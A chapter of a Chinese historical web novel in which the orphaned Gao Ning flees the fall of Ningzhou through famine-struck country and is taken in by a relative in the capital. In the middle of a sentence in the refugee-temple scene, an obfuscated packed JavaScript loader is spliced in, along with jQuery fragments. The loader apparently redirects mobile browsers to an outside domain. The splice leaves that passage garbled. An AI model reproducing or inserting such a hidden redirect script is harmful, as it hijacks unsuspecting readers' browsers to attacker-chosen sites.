那晚，府中依旧摆了六道菜，一切看起来与往常无异。关凌冬坐在席间，眉头紧皱，手中的筷子一动未动。
关宁注意到母亲吃得很少，时而看向兄长，又时而垂眸沉思。
她突然心中一紧，似乎有什么宣泄而出。
饭后，山忆舒将关凌冬单独唤到书房。烛火跳动间，关母从袖中取出卷轴递给他，沉声道：“看吧。”
关凌冬展开卷轴，眼睛刚扫过几行，脸色瞬间大变：“父亲他……”
“莫大将军阵亡，你父亲也……”山忆舒闭上眼睛，声音里透着极力压抑的悲痛。
关凌冬猛地攥紧了卷轴，指关节泛白。他勉强平复了几分情绪，问道：“宁宁她……”
“暂时别告诉她。”山忆舒抬眼看着儿子，神情无比冷静。
“娘，宁宁已经不小了……”关凌冬皱眉，但话未说完。
“但是我总不忍心看着她伤心。”
重阳节当天，府中一如往常地准备了桂花糕和菊花酒。
直到日落西山，关父也没有归来。
她似乎想到了什么。
这一夜，她抱着膝盖坐在院门口，直到寒露打湿了衣裳，依然不肯回屋。
关凌冬走过来，脱下自己的披风盖在她身上：“爹一定会回来的，宁宁，别急。”
重阳节后三日，云州城破地消息传的铺天盖地，关府迎来了一个黑沉沉的棺椁。
山忆舒站在棺椁前，面容如铁，没有掉一滴眼泪。
她转头看向关宁，声音低沉而坚定：“宁宁，你爹回来了。他信守了自己的承诺。”
关宁的眼泪无声地滴落，她想说些什么，发现什么也说不出。
关母上前一步，将她一把揽入怀中。
她的力气大得让关宁无法挣脱，声音冷静而沉痛：“宁宁，战争没有胜者，也没有承诺，你要记住，这就是你爹为家国所付出。”
这一刻，她彻底崩溃，伏在母亲怀中嚎啕大哭。
关凌冬站在一旁，眼眶早已通红，却咬紧牙关，一声不吭。
*
数日后，永州战事告急，关凌冬收到急召令，他作为新升的小将，被任命随军奔赴永州增援。
离别前一晚，山忆舒没有再多言语，只有将一套铠甲摆在关凌冬面前：“这是你父亲早就给你准备的。守护大康的责任就是你的。”
关凌冬接过铠甲，神色坚定。
她替兄长扶正兜鍪，静静地看着兄长披上铠甲，骑马离去。
永州初战告捷的消息传来时，关府的气氛稍微缓和了一些。
关宁听到兄长平安无事的消息后，在院中多日紧绷的神经终于放松了一些。
但好消息只持续了不到半月，永州守军突然传来告急消息，胡越大军卷土重来，兵力数倍于永州守军，永州岌岌可危。
不过几日，永州城破，关凌冬也未曾回来。
而胡越直逼云州。
宁州守军不足，胡越军队随时可能逼近，关家皆全部披甲而上。
山忆舒决定亲自率军迎战。
换上铠甲的那一刻，山忆舒身姿挺拔，眼中满是坚毅。
关宁看着母亲银色的铠甲和手中的红缨枪，觉得她像一座山，巍峨不动。
“宁宁，”山忆舒蹲下身，捧着她的脸认真说道，“娘要上战场了。你会听娘的话，对吧？”
关宁点头，目光灼灼：“娘，我会等你回来。”
山忆舒微微一笑，却没有回答，只是将她交托给秦婆：“她是我们关家的希望，无论如何都要带她走。”
关宁站在门口，目送母亲披甲上马，带领将士离去。
她想要大声喊住母亲，却咬紧牙关一言不发。
*
天光未明，殿门猝然大开，满脸仓皇的内侍扑跪在青砖地上，声音几近哽咽：“陛下，宁州......破了……”
殿内寂静如死，只有铜炉中微弱的火光映出龙案旁身影峭立的帝王。他的手指微微颤动，几乎无法察觉，旋即便被按在桌面上，收敛成一片森冷。
“赵介眉一家。”他沉声开口，仿佛将喉间的冰霜尽数压在字里行间，“押入大牢。”
内侍伏地颤抖，不敢多言。
须臾，殿内再无声响，只有毛笔划破空白纸面的沙沙声。御笔落下最后一笔时，他低头冷道：“此旨火速送至炎州。”
窗外风雪骤起，刹那掩住了天子深沉而疲惫的眉目，惟有笔尖犹染未干的墨迹，透着满纸杀意与决然。
*
“姑娘，快收拾吧。”
窗外风声呼啸，秦婆急切的声音在寂静的房中显得尤为刺耳。
“再晚就出不去了！”秦婆走到她身后，语气中夹杂着不安，“守不住了，咱们再不走，就没命了！”
城墙上的旗帜早已斑驳不堪，点缀其上的是仅剩兵士溅落的鲜血。
“守不住了吗……”关宁低声喃喃，嘴角泛起一丝几不可见的苦笑，“云州、永州已经破了，宁州是三州咽喉，守不住宁州，连着上游城池也难以保全。”
她的声音不大，但字字如刀，让秦婆愣在原地，张了张嘴，却不知道该如何安慰。
街巷间，哭喊与马蹄交织，平日繁华的集市早已荒无人烟。只有城门附近，挤满了拖家带口的百姓。
“出不得！出不得！”官差的声音嘶哑，喊声中带着绝望。
他们不知这城还能守多久，也不知自己又能苟延残喘几时。
“宁州终究还是逃不过这一劫吗？”
“姑娘，活着就有希望。”秦婆叹了口气，将布包递到她手中，“活着出去，关家总还有盼头。”
关宁接过布包，低头轻轻拍了拍包袱上的灰尘，像是在拍去命运加诸于她的无形重量。
她缓缓闭上眼。
“走吧。”
城破，是在子夜。
一声尖锐的号角划破天际，随即而来的，是城门被撞开的巨响，以及铺天盖地的呐喊声。
守城的士卒早已精疲力竭，四散奔逃。
入城的匪军犹如洪水猛兽，转瞬间席卷街巷。
匪军骑着战马，手中长刀挥舞，将奔逃的百姓劈翻在地。他们的尖叫声回荡在街巷中，如凄厉的哀歌。
一切喧嚣与残暴，都在夜色中交织成炼狱的画卷。夜风裹挟着血腥气息从车帘的缝隙钻入，将她冻得打了个寒战。
她死死攥着手中的布包，指关节发白。
黎明时分，马车终于驶出城外。
宁州城升腾的黑烟将晨光遮掩，犹如一头遮天蔽日的巨兽，吞噬着宁州城。
“姑娘，这条路不好走，可咱们已经没得选了，咱们还要往北去，等找到下一个落脚的地方再歇脚。”
秦婆从马车上跳下，站在一旁为马车打点，她着壮汉打扮，行事利索。
关宁关宁点点头，掀开车帘的一角，定定地看着宁州城的方向。宁州的轮廓模糊在晨雾中。
“好好活着……”母亲出征前对她说的最后一句话，“向前走！不要回头。”
“活下去！向前走！”她轻声念出母亲临终前的遗言，声音微微发颤，却带着一种决绝的力量。
她放下帘子，迈上了未知的道路。
*
“姑娘，吃些干粮吧。”秦婆小心翼翼递来一块干硬的饼。
关宁伸手接过，发现那饼不过半掌大小，边缘甚至隐约泛着一抹青黑的霉斑。她下意识皱了皱眉，却没有推拒。
但见秦婆没有给自己掏出饼。
“我不饿，你先吃吧。”她将饼塞回秦婆手中。
“哪能叫姑娘饿着。”秦婆将饼又递回去，声音里透着倔强，“再说了，咱们这一路还长着呢，总得省着点吃。”
关宁握住那饼，抬眼看向四周。路边的村落几乎看不到炊烟，田间的杂草稀稀疏疏，土地干裂如同一张苍老的脸。
她将饼一分为二，半块塞入秦婆手中，低头慢慢的咬下去。
一阵风吹过，夹杂着泥土和腐败的气息。
前方的官道旁，几个瘦骨嶙峋的男人蹲在那里，眼巴巴地望着过往的行人。他们的衣衫褴褛，头发乱糟糟地贴在额头上，瘦得眼眶深陷，仿佛随时会倒下。
“他们在等什么？”
秦婆叹了口气，压低声音道：“等尸体呢。”
“战乱之后，到处是饿殍，村里人饿得没办法，才会拿那些……”秦婆说到这里，似乎也觉得残忍，声音渐渐低了下去，“姑娘，别看，别多想。”
关宁低下头，紧了紧斗篷，耳边风声呼啸，脸颊却冰冷刺骨。她的双手攥得更紧，指尖已经发白，却仿佛感觉不到疼痛。
路过一片村庄时，马车不由得放缓。村庄的土墙大多坍塌，屋顶歪斜，院落里一片荒芜。
路边，有几具无人收敛的尸体横七竖八地躺着，瘦骨嶙峋的身形让人无法辨别是男女老少。
秦婆小声念了几句佛号，将帘子放下。
关宁却依旧盯着那一片废墟，目光凝重。
马车行至村头时，几个衣衫褴褛的老人从破败的屋舍中走出来，佝偻着身子，朝马车投来复杂的目光。
那些眼神里，有乞求，有愤怒，有麻木，却唯独没有希望。
这一路上，关宁不断看到残破的村庄和逃荒的流民。他们拖家带口，拄着拐杖，一步步挪向京城。
“他们曾经也有家园，也有安稳的生活……”
“战乱毁了一切……”
她心中涌起一种深深的无力感。
京城的繁华吸引了他们，仿佛那座城池是所有苦难的尽头，是他们唯一的希望。
“这些人到了京城，真的会好起来吗？”
她问出这个问题后，自己却沉默了。
她闭上眼，长长地吸了一口气。
夜晚，他们在路边的一间破庙中过夜。
庙中堆满了逃难者带来的包袱和破烂行李，空气里充斥着苦难的味道。
关宁裹紧了斗篷，坐在角落里，默默看着角落的一对衣衫褴褛的夫妻。那妇人怀里抱着一个瘦小的婴儿，婴儿毫无动静，面色青白，妇人轻声哼着一支哄睡的曲子，声音颤抖，泪水却止不住地往下落，旁边的男人听着着曲子面色悲惨，抬手抹了一下眼角。
秦婆叹了口气，小声说道：“那婴儿早就没了，可娘还不愿放下。”
她想起自己的母亲。
破庙外，寒风刺骨，几个面黄肌瘦的流民蜷缩在一处，看了许久，眼神像饿狼盯着猎物，他们低声商议了一阵，终于咬牙冲进了破庙。
一声尖锐的哭叫打破了沉寂，妇人怀中的孩子被一把夺走。
妇人惊恐交加，扑倒在抢孩子那人的脚下，双手死死抱住他的腿，声嘶力竭地哭喊：“还我孩子！你们干什么？求求你们，别带走他！”
她的男人几乎是同时扑了上去，红了眼地夺孩子。
他一拳砸倒一个流民，咆哮如疯，然而对方人多势众，瞬间将他按倒在地，拳脚如雨点落下。
妇人哭喊着去护住他，却被一脚踹翻，摔倒在地。
破庙里顿时喧嚣一片。
有人低声咒骂，有人指责。
他们的脸上写满了愤怒和恐惧，却没有一个人迈出一步。
“天灾人祸的！田里一粒米都没了，都快饿死了！”一个流民扬声怒吼，声音带着几分破裂。
“况且这孩子早死了！你们少管闲事！”
庙里霎时死寂。
火光摇曳下，众人默然低头，无人应声。
只有妇人的哭嚎撕心裂肺，男人被殴打的闷响伴随着流民粗重的喘息。
关宁的手指攥紧了斗篷，手背上青筋凸起。
“秦婆！”
“姑娘，咱这不能帮，他们这群人是刁民...咱们入京之前还是不要。”
“秦婆，你看看这里的人，大多数都是从宁州一路避难过来，本是为了新的希望，大家现在是拢起的星火，如果我们现在不帮，这火便要散了，他们怕是走不到京城了。”
秦婆叹了口气。
提着棍子走上去，吼了一声：“人孩子死了，干你们何事？”
流民凶神恶煞地转头看向了秦婆。
只见一壮汉提着棍子，怒目圆睁，看着是个练家子，气焰瞬间下去了。
众人见有人出头，指责的声音也起来了。
那些人嘀咕了几句，丢下孩子走了。
妇人抱住孩子，哭着上前，揽起了自己的丈夫，衣角颤抖，轻轻擦着他脸上的血。
片刻后，两个人站起来对破庙的众人鞠躬道谢：“今日多谢各位了！”
随后走到关宁面前：“多谢这位壮……壮士！多谢这位小姐！”
关宁轻轻摇头，目光落在他们身上，眼前掠过战乱带来的家破人亡，耳边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806029|158521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回荡着宁州城破时的哀嚎。
“世道如此……”
忽然想起父亲曾说过的话：“治国在民，乱国在民。治乱相生，皆因人心之失。”
人心失之！
“关家都没能改变什么，我又能做什么？”
*
“姑娘，明天就能到京城了。”她一边说，一边从包袱里翻出一件略贵气的冬衣，“京城可不是宁州，咱们得规矩些，千万别让人看轻了。”
关宁低头看了眼自己沾满尘土的衣裙，点点头：“我明白。”
她接过冬衣，却未穿上，走到破庙门口，仰头看向漆黑的夜空。
“京城啊……”
她喃喃低语，声音中透着一丝迷茫。
“到了那里，我该怎么做？”
她的目光深沉，像是夜空中隐约的星光，虽微弱，却透着一股执念。
身后，秦婆的声音再次响起：“姑娘，早点歇着吧。王家老太太待人宽厚，虽说是咱远亲，咱们到了她那儿，日子总能好些。”
关宁点点头，没有说话。她知道秦婆的话是在安慰她，可她却清楚，亲缘单薄的事实，注定了她无法一直轻易地获得庇护。
第二日清晨，天刚微微亮起，马车又开始启程。
她掀开车帘，任由寒风扑面，看着京城的轮廓渐渐浮现在远方。
官道上人流涌动，车水马龙间夹杂着衣衫褴褛的流民。他们大多背着沉重的行囊，神色匆匆。偶有贩夫走卒叫卖之声传来，却在百姓的沉默中显得格外刺耳。
“快到了……”秦婆小声提醒，语气中带着一丝庆幸和期待。
*
晨曦微露，京城的城墙像一头沉睡的巨兽，笼罩在浅浅的薄雾中。
“姑娘，到京城了！”
关宁从帘后探出头来，映入眼帘的是高大的城门、熙攘的车马与人群，以及街市上熙熙攘攘的景象。
空气中混合着马蹄扬起的尘土和食肆飘出的酒肉香味，她感受到了一种既熟悉又陌生的喧嚣。但那巍峨的城墙如一道无法逾越的屏障，将城内的喧嚣与城外的贫瘠隔开。
关宁坐在颠簸的马车内，手里紧紧攥着那封早已翻皱的信笺。秦婆见她神色紧张，轻声宽慰道：“姑娘，放宽心吧。王老太太是念旧情的人，定会好好待你。”
“我未曾害怕。”
几经辗转，马车终于停在了京城东街一处低调的府邸前。
秦婆从怀中掏出一封信笺递给守门的小厮，说道：“我们是宁州城来的，老太太的远亲。”
小厮看了信笺，点头说道：“请稍等，我这就去通报。”
关宁站在黄府门前，目光微垂，长途跋涉的疲惫压在她的肩上，微风吹过，将她鬓角散乱的发丝轻轻扬起。
她用指尖摩挲着衣袖上的折痕，多年后，她都未曾忘记，那扇门前的等待是多么漫长。
门里静默片刻，随即传来一阵脚步声。关宁还未抬头，便听到一把苍老的声音说道：“来了就好，快请进来。”
关宁抬起头，看到一个穿着半旧绛深色衣衫的老妇从回廊中缓步走来。她的头发花白，面容虽被岁月雕刻得沟壑纵横，但一双眼睛依旧明亮。
她就是王家老太，关宁祖母的远房表姐。
她步履虽不甚稳健，但身形端正，举止间透着几分威严。王老太太停在门前，仔细打量着关宁，眼神中既有试探又有怜惜。
“你就是阿宁吧？”她声音不高，却带着一股慈爱与感慨。
关宁俯身行礼：“正是，见过老太太。”
王老太太摆摆手，上前一步拉住她的手腕，声音中带了几分感叹：“哎，抬起头来让我瞧瞧。这一路你受苦了。”
王老太太拉着她的手转身入内低声说道：“快进来吧，外头冷。你一路奔波，怕是乏了。”
堂屋内，炭炉散发着阵阵暖意，几盘糕点和热茶早已备好，关宁规规矩矩地跪坐在下首。
王老太太见她拘谨的模样，心中一阵叹息，语气柔和了些：“你母亲当年是个极聪慧又知礼的孩子，没想到她竟走得这么早……”她说到一半顿住，怕触了关宁的伤心事，改口道，“你有她几分模样，也难怪我一见你就心生亲近。”
关宁双手握紧茶盏，声音微哑：“亲族皆去世了，阿宁无能，连家族都未能护住，若不是秦婆拼命护送，怕是再也见不到老太太了。”
王老太太摇了摇头，语气里满是惋惜：“傻孩子，这怎能怪你？这年头天灾人祸、战事频繁，连大户人家都未能幸免。你能活着到京城，已是不幸中的大幸了。”
关宁抬起头，目光湿润，轻声道：“多谢老太太接纳阿宁。”
她端起茶碗轻啜一口，叹息道：“你们关家原本是武将世家，没想到世道如此，竟连你们这样的人家也不得安生……”声音渐渐低了下去，似是想起了什么往事。
王老太太眼中带了些怜惜，缓缓说道：“咱们虽是远亲，可到底也是一家人。我这把老骨头还在一天，便护着你一天。”
她顿了顿，转头吩咐身边的老仆：“去看看屋里都收拾妥当了没有，再给阿宁准备几身新衣，莫叫外人瞧出她一路的辛苦。”
语气虽温和，隐隐却透着一丝不可违逆的威严。
老仆恭敬应下后退了出去。关宁看着这一切，心头有些触动。
关宁渐渐熟悉了府中生活。
王老太太每日清晨要诵经祈福，白日里处理些家中事务，偶尔会在庭中歇坐，叫她陪伴说话。
*
入春后的京城，显得格外热闹。南园一场雅集早已传遍士族圈子，成为贵女们竞相赴约的盛事。
宴会设在城南一处豪宅的园林内。
主家乃是当朝一位显贵世家的嫡女，早有名声，宴席安排得极尽奢华。
王家的嫡出大小姐王若卉，也收到这场雅集的请柬。
早在几日前她就邀请关宁同去一场盛大的雅集。
起初，关宁并不愿去。
但老太太却笑着说：“难得你表姐愿意带你出去走动，也该让人瞧瞧我王家还有这样的后辈。”
关宁微微躬身：“表姐盛情相邀，但我性子拙，不如在家陪老太太。”
“这话可不对了，”王若卉转头笑道，“你虽是远房亲戚，终究也是王家人。老太太不让你出门，是怕别人说闲话，你听了心里难受。如今既然跟了我去，就当作给王家长脸。”